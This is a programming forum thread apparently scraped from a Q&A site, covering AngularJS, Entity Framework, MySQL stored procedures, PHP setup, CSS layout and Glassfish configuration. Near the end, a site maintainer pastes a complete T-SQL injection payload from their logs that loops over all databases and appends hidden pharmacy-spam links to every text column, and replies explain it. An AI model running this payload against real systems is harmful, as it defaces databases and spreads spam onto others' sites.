|
Well, you're assigning to myApp.controller rather than calling it.
Instead of:
...
myApp.controller = ('employeeController', function ($scope, $http) {
...
Try:
myApp.controller('employeeController', function ($scope, $http) {
Also, just as a stylistic concern, if you absolutely have to instantiate $scope.employees I would suggest assigning it as an empty object rather than an empty string. That just makes the intent more clear.
EDIT: One other note, that code will not survive minification, so you might want to leverage the full dependency injection syntax for angular. That would make your controller definition look like this:
myApp.controller('employeeController', ['$scope', '$http', function ($scope, $http) {
Just make sure to add the closing array brace at the end of your code block as well.
"There are three kinds of lies: lies, damned lies and statistics."
- Benjamin Disraeli
|
|
|
|
|
Hi,
I did implement that, it resolved one problem, but when I am trying to debug the code in the ASP.Net MVC controller, I am getting the following error.
My ASP.Net Controller is as below
namespace TestAngularJSApplication.Controllers
{
public class EmployeeController : Controller
{<br />
public ActionResult Index()
{
return View();
}
public JsonResult GetEmployees()
{
DAL oDAL = new DAL();
var a = oDAL.employees;
var listOfEmployees = oDAL.employees.ToList();
return Json(listOfEmployees,JsonRequestBehavior.AllowGet);
}
}
}
And my DAL is as below
public class DAL : DbContext
{
public DAL() : base("TestConnectionString") { }
public DbSet<Employee> employees { get; set; }
protected override void OnModelCreating(DbModelBuilder modelBuilder)
{
modelBuilder.Entity<Employee>().ToTable("EmployeeTable");
modelBuilder.Entity<Employee>().HasKey(x => x.Id);
}
}
And Database table structure is as below
CREATE TABLE [dbo].[EmployeeTable](
[Id] [int] IDENTITY(1,1) NOT NULL,
[Name] [nvarchar](max) NULL,
[EmployeeAddress] [nvarchar](max) NULL,
[EmployeeSalary] [decimal](10, 2) NULL,
[IsActive] [bit] NULL,
CONSTRAINT [PK_EmployeeTable] PRIMARY KEY CLUSTERED
(
[Id] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY]
And class structure is as below
namespace TestAngularJSMCVApplication.Models
{
public class Employee
{
public int Id { get; set; }
public string Name { get; set; }
public string EmployeeAddress { get; set; }
public decimal EmpployeeSalary { get; set; }
public bool IsActive { get; set; }
}
}
And the database table that I am trying to load and show in the View, is not being loaded. Any help please. I think the new Entity Framework is changed little bit from the old one.
Any sort of help helps me a lot. Thanks in advance.
Thanks,
Abdul Aleem
"There is already enough hatred in the world lets spread love, compassion and affection."
modified 24-May-16 16:51pm.
|
|
|
|
|
Well, you have a couple of issues.
First is a resource leak. Make sure to dispose of your DbContext implementation instances, usually wrapping with a "using" is a good route. In the controller, that would look like:
public ActionResult GetEmployees()
{
using(var oDAL = new DAL())
{
return Json(oDAL.employees.ToArray(),JsonRequestBehavior.AllowGet);
}
}
Now, do you have a connection string named "TestConnectionString" in your web.config?
"There are three kinds of lies: lies, damned lies and statistics."
- Benjamin Disraeli
|
|
|
|
|
Hi,
I'm a newbie when it comes to web development. Would like some advise on choosing the platform for a open sourced education site for highschoolers. The idea is so that they can post questions and use the site for discussions. The main idea is to gather these questions and enter the attributes for the questions eg: subject, chapter, marks, time taken to answer etc. which we can then build the intelligence for advice - suggesting students to focus a specific chapter where they need more practice.
Hope I can get some advice here. And pardon my English
|
|
|
|
|
The only thing I've worked with that could cover those needs is Moodle.
Moodle - Open-source learning platform | Moodle.org[^]
The platform allows plugins for customized functionality, and the API runs on PHP, so is trivial to work with.
"There are three kinds of lies: lies, damned lies and statistics."
- Benjamin Disraeli
|
|
|
|
|
Hi,
Why I am getting:
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[HY000]: General error' in /home/meskholdings/mybluefile.com/change_password.php:22 Stack trace: #0 /home/meskholdings/mybluefile.com/change_password.php(22): PDOStatement->fetch(2) #1 {main} thrown in /home/meskholdings/mybluefile.com/change_password.php on line 22
For below code:
$mysql_query = $mysql_connection->prepare('CALL sp_web_get_employee_by_password_guid(:param_guid, :param_code)');
$mysql_query->bindParam(':param_guid', $password_guid, PDO::PARAM_STR);
$mysql_query->bindParam(':param_code', $activation_code, PDO::PARAM_STR);
$mysql_query->execute();
while($mysql_row = $mysql_query->fetch())
{
$full_name = $mysql_row["official_name"];
$first_name = $mysql_row["first_name"];
$email_address = $mysql_row["email_address"];
}
This is my SELECT SQL:
CREATE DEFINER=`root`@`%` PROCEDURE `sp_web_get_employee_by_password_guid`(IN param_guid varchar(255), IN param_code varchar(255))
BEGIN
DECLARE param_employee_id INT;
IF EXISTS (SELECT employees.employee_id FROM employees JOIN employee_contacts ON employee_contacts.employee_id = employees.employee_id JOIN contact_category ON contact_category.contact_category_id = employee_contacts.contact_category WHERE new_password_guid = param_guid AND new_password_code = param_code AND contact_category.contact_category_type = "EMAIL" AND employee_contacts.use_for_communication = TRUE) THEN
BEGIN
SET param_employee_id = (SELECT employees.employee_id FROM employees JOIN employee_contacts ON employee_contacts.employee_id = employees.employee_id JOIN contact_category ON contact_category.contact_category_id = employee_contacts.contact_category WHERE new_password_guid = param_guid AND new_password_code = param_code AND contact_category.contact_category_type = "EMAIL" AND employee_contacts.use_for_communication = TRUE);
SELECT employees.employee_number, employees.first_name, employees.official_name, employee_contacts.contact_details AS email_address
FROM employees
JOIN employee_contacts ON employee_contacts.employee_id = employees.employee_id
JOIN contact_category ON contact_category.contact_category_id = employee_contacts.contact_category
WHERE employees.employee_id = param_employee_id AND contact_category.contact_category_type = "EMAIL" AND employee_contacts.use_for_communication = TRUE;
END;
END IF;
END
Thanks,
Jassim[^]
Technology News @ www.JassimRahma.com
|
|
|
|
|
You're calling fetch , but your query doesn't always return a resultset. Try changing your query so that it returns an empty resultset if the employee is not found:
CREATE DEFINER=`root`@`%` PROCEDURE `sp_web_get_employee_by_password_guid`(IN param_guid varchar(255), IN param_code varchar(255))
BEGIN
DECLARE param_employee_id INT;
IF EXISTS (SELECT employees.employee_id FROM employees JOIN employee_contacts ON employee_contacts.employee_id = employees.employee_id JOIN contact_category ON contact_category.contact_category_id = employee_contacts.contact_category WHERE new_password_guid = param_guid AND new_password_code = param_code AND contact_category.contact_category_type = "EMAIL" AND employee_contacts.use_for_communication = TRUE) THEN
BEGIN
SET param_employee_id = (SELECT employees.employee_id FROM employees JOIN employee_contacts ON employee_contacts.employee_id = employees.employee_id JOIN contact_category ON contact_category.contact_category_id = employee_contacts.contact_category WHERE new_password_guid = param_guid AND new_password_code = param_code AND contact_category.contact_category_type = "EMAIL" AND employee_contacts.use_for_communication = TRUE);
END;
END IF;
SELECT employees.employee_number, employees.first_name, employees.official_name, employee_contacts.contact_details AS email_address
FROM employees
JOIN employee_contacts ON employee_contacts.employee_id = employees.employee_id
JOIN contact_category ON contact_category.contact_category_id = employee_contacts.contact_category
WHERE employees.employee_id = param_employee_id AND contact_category.contact_category_type = "EMAIL" AND employee_contacts.use_for_communication = TRUE;
END
"These people looked deep within my soul and assigned me a number based on the order in which I joined."
- Homer
|
|
|
|
|
|
Downloaded curl. Added its path to the system variable.
uncommented: php_curl.dll in php.ini
Added the line:
AddType application/x-httpd-php .php
in httpd.conf of apache
copied libeay32.dll and ssleay32.dll files into system32 directory.
Restarted Apache server.
Still having problem. It would be a great help if someone is here.
|
|
|
|
|
adkPrasanna wrote: Still having problem.
It might help if you described the problem you're having, and included the relevant parts of your code.
"These people looked deep within my soul and assigned me a number based on the order in which I joined."
- Homer
|
|
|
|
|
adkPrasanna wrote: It would be a great help if someone is here. Unfortunately we are all elsewhere, so there is no possibility that we can see the error messages on your screen.
|
|
|
|
|
So some are here
I added the following in Environement variables > System Variables > Path
D:\programFiles\PHP
D:\programFiles\Apache\bin
D:\programFiles\Curl
Solved the curl, openssl problems. But not completely. I'm having trouble in opcache section.
When I run mooodle, the message is like this:
PHP setting should be changed. for opcache
I've configured php.ini as recommended on moodle.org.
phpinfo() also doesn't show any info about opcache. Though I've uncommented opcache.enable=1
|
|
|
|
|
Guys;
I have created this control to present a tab page control
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Tab Control</title>
<style type="text/css">
.tabcontrol {
list-style:none;
padding: 8px;
margin:3px;
background-color:lightgray;
position:relative;
}
.tabcontrol>li {
float:left;
margin-right:4px;
}
.tabcontrol>li>span {
display:inline-block;
background-color:gray;
margin:0;
padding:3px;
border:solid 1px silver;
cursor:pointer;
}
.tabcontrol>li>span:hover {
background-color:lightgray;
}
.tabcontrol>li.selected>span {
background-color:#fff;
font-weight:bold;
}
.tabcontrol>li>ul {
display:none;
left:0;
right:0;
position:absolute;
background-color:#fff;
border:solid 1px silver;
margin: 0 8px;
padding:4px;
list-style:none;
}
.tabcontrol>li.selected>ul {
display:block;
}
.tabcontrol>li>ul>li {
float:left;
width:100px;
height:100px;
background-color:blue;
color:#fff;
margin:5px;
padding:2px;
text-align:center;
}
</style>
</head>
<body>
<ul class="tabcontrol" style="height:154px;">
<li>
<span>Tab page 1</span>
<ul>
<li>Box 1.1</li>
<li>Box 1.2.</li>
<li>Box 1.3.</li>
</ul>
</li>
<li class="selected">
<span>Tab page 2</span>
<ul>
<li>Box 2.1.</li>
<li>Box 2.2.</li>
<li>Box 2.3.</li>
</ul>
</li>
<li>
<span>Tab page 3</span>
<ul>
<li>Box 3.1.</li>
<li>Box 3.2.</li>
<li>Box 3.3.</li>
</ul>
</li>
</ul>
</body>
</html>
My problem is in the height of the container list (.tabcontrol), is there another option better then manipulating it with javascript?
Help people,so poeple can help you.
modified 17-May-16 4:25am.
|
|
|
|
|
As the contents of the .tabcontrol are floated, you'll need a "clearfix"[^] to clear the floats.
.clearfix:before,
.clearfix:after {
content: " ";
display: table;
}
.clearfix:after {
clear: both;
}
.clearfix {
*zoom: 1;
}
<ul class="tabcontrol clearfix">
"These people looked deep within my soul and assigned me a number based on the order in which I joined."
- Homer
|
|
|
|
|
Thanks Richard, clearfix solution is a great idea for getting rid of the unwanted floating (I'll consider to use that ) but I was talking about the lists in the second level they are absolutely positioned relative to the outer list. it is just like they were removed from the page and anchored to the outer list using left, right, and top.
what I am for is how to stretch the height of the outer list without setting the height with java script.
Help people,so poeple can help you.
|
|
|
|
|
As far as I'm aware, there's no CSS solution to make parent elements stretch to fit absolutely-positioned children. Javascript is the only solution I've seen.
"These people looked deep within my soul and assigned me a number based on the order in which I joined."
- Homer
|
|
|
|
|
because they don't belong to the page flow but anchored to the page, right?
Help people,so poeple can help you.
|
|
|
|
|
Yes, that's right.
"These people looked deep within my soul and assigned me a number based on the order in which I joined."
- Homer
|
|
|
|
|
how to post offers on facebook
|
|
|
|
|
In my project I defined some alternatedocroot parameters.
This used to work, but after investigating an error I received from a user it seems now it returns a 404 for all resources in that folder. I hadn't changed the glassfish-web.xml so I have no idea why it doesn't work anymore.
I checked the docs, I googled, checked again and googled again, but nothing works. I also tried adding the parameters to the domain.xml on the server and I tried a bunch of alternative url formats just to make sure.
Anyone have an idea on this?
glassfish-web.xml file under < jsp-config > tag:
<property name="alternatedocroot_1" value="from=*.xls dir=/data/StaffExport"/>
<property name="alternatedocroot_2" value="from=*.txt dir=/data/StaffExport"/>
<property name="alternatedocroot_3" value="from=*.csv dir=/data/StaffExport"/>
<property name="alternatedocroot_4" value="from=*.htm dir=/data/StaffExport"/>
this looks ok to me. Server glassfish version is 3.1.2
If anyone can give some clues on what the problem might be, let me know.
|
|
|
|
|
I have a responsive web page where the page layout rearranges when the width of the page shrinks below a certain size with the help of jQuery.
The page layout is supposed to return to its original state when the page expands to its origninal width but it doesn't work completely.
I want to compare the page markup and css of the page before the page shrinks with the markup and css of the page after the page returns to its original width to see what is causing the page layout to not return to its original state.
Is there a way to get the entire page markup and css (including dynamically generated ones) all at once in Chrome DevTools?
If this is not possible in Chrome DevTools, are there other tools that can give me what I'm looking for?
modified 12-May-16 6:32am.
|
|
|
|
|
I dont know i understood you but you may right-click the root element in the elements panel and choose edit as html, then copy the text and past it to a text file.
Help people,so poeple can help you.
|
|
|
|
|
Hello,
Currently I am automating website in Internet Explorer. Due to compatible issue in different IE's, I am planning to automate in Google Chrome.
I have searched on internet for that, many have suggested that Selenium is the best solution. But in selenium I will get events only if events are created using code. If user manually navigate to some other URL then we cannot manage it.
Mainly I want the same working as there in Internet Explorer. For example, 'browser control', 'beforenavigate' , 'documentcomplete' etc.
What is the best working method to website automation in Google Chrome ( With all functions which can be done in Internet Explorer)?
Please help.
|
|
|
|
|
Someone is (repeatedly) trying to hack a site I look after - unsuccessfully, I might add, as I do check and sanitize all requests - but I am interested in knowing how...
they are requesting a page URL with the following appended:
';declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select db_name() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',db_name());open @b;fetch next from @b into @w;while @@fetch_status=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+table_name+''] set [''+column_name+'']=[''+column_name+'']+case abs(checksum(newid()))%2510 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''transfer prescription coupon ''+char(60)+''a href="http:''+char(47)+char(47)+''www.liberitutti.info''+char(47)+''page''+char(47)+''viagra-coupons-from-pfizer"''+char(62)+''''''+case abs(checksum(newid()))%253 when 0 then ''''liberitutti.info'''' when 1 then ''''liberitutti.info'''' else ''''2016 viagra coupon'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' viagra coupons and discounts''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' from sysindexes as i inner join sysobjects as o on i.id=o.id inner join information_schema.columns on o.name=table_name where(indid in (0,1)) and data_type like ''%25varchar'' and(character_maximum_length in (2147483647,-1));open @c;fetch next from @c into @d;while @@fetch_status=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--
It looks to me as though they're hoping to inject some code into the page to either redirect users or at least display a link to their site - but how does this work? And what's with the 'update table name checksum' stuff about?
Just curious...
"I'm never quite so stupid as when I'm being smart." - Linus van Pelt.
"If you were as smart as you think you are, you wouldn't think you were so smart!" - Charlie Brown.
|
|
|
|
|
That looks like T-SQL injection attempt.
Looking at the content, they are trying to inject spam comments or something like that and are probably randomly trying sites hoping to find a vulnerable system, whether it be a joomla or wordpress or a.n.other.
I used to get this **** all the time when my website was up (joomla V1.25 or whatever it was), and used to manually have to delete hundreds and thousands of comments waiting in moderation.
The fact the ISP screwed an update and killed my virtual server probably did me a favour!
Edit:
First they set up a some variables (Declare), one of them is a cursor (database positioning), next they do a search for and iterate all the databases defined in the system and then begin a process of simply adding content to the various columns.
If you break the statement down into a readible structure, and then compares the keywords against the T-SQL specification, you will be able to work out what is going on.
e.g. variables named with a single @ are user variables, and ones referenced by double @@ are reserved by the database language for system variables, e.g. @@rowcount is used to inform how many rows are updated/changed etc. following a command.
|
|
|
|
|